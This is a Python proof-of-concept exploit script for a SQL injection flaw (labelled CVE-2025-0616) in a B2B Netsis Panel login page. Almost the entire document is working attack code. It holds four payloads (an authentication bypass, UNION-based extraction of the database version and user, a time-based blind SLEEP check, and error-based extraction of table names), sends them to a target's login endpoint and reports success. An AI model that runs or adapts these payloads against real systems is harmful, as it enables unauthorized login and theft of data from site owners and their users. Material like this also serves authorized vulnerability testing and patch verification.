# CVE-2025-0616 - B2B Netsis Panel SQL Injection PoC
# Vulnerability: Improper Neutralization of Special Elements in SQL Command
# CVSS: 8.2 (HIGH)
import requests
TARGET_URL = "http://target-b2b-panel.com"
INJECTION_ENDPOINT = "/login.php" # Adjust based on actual endpoint
def exploit_sql_injection(target_url, endpoint):
"""
Exploit SQL injection vulnerability in B2B - Netsis Panel
The vulnerability allows unauthenticated remote SQL injection.
"""
url = f"{target_url}{endpoint}"
# Payload 1: Basic authentication bypass
payload_bypass = {
"username": "admin' OR '1'='1' -- -",
"password": "anything"
}
# Payload 2: UNION-based injection to extract database info
payload_union = {
"username": "admin' UNION SELECT 1,version(),database(),user(),5,6,7-- -",
"password": "test"
}
# Payload 3: Time-based blind injection
payload_timeblind = {
"username": "admin' AND SLEEP(5)-- -",
"password": "test"
}
# Payload 4: Error-based injection to extract table names
payload_error = {
"username": "admin' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))-- -",
"password": "test"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)"
}
print(f"[*] Targeting: {url}")
# Attempt authentication bypass
print("\n[+] Attempting authentication bypass...")
resp = requests.post(url, data=payload_bypass, headers=headers, timeout=10)
print(f" Status: {resp.status_code}")
print(f" Response length: {len(resp.text)}")
if "dashboard" in resp.text.lower() or "welcome" in resp.text.lower() or resp.status_code == 302:
print(" [SUCCESS] Authentication bypassed!")
# Attempt UNION-based extraction
print("\n[+] Attempting UNION-based data extraction...")
resp = requests.post(url, data=payload_union, headers=headers, timeout=10)
if "error" in resp.text.lower() or "mysql" in resp.text.lower():
print(f" Database info may be exposed in response")
# Parse version info from response
import re
version_match = re.search(r'(\d+\.\d+\.\d+)', resp.text)
if version_match:
print(f" Detected DB version: {version_match.group(1)}")
# Attempt time-based blind injection
print("\n[+] Attempting time-based blind injection...")
import time
start = time.time()
resp = requests.post(url, data=payload_timeblind, headers=headers, timeout=30)
elapsed = time.time() - start
print(f" Response time: {elapsed:.2f} seconds")
if elapsed >= 5:
print(" [SUCCESS] Time-based blind injection confirmed!")
# Attempt error-based extraction
print("\n[+] Attempting error-based data extraction...")
resp = requests.post(url, data=payload_error, headers=headers, timeout=10)
import re
table_match = re.search(r'~([a-zA-Z_][a-zA-Z0-9_,]*)', resp.text)
if table_match:
print(f" [SUCCESS] Extracted tables: {table_match.group(1)}")
if __name__ == "__main__":
exploit_sql_injection(TARGET_URL, INJECTION_ENDPOINT)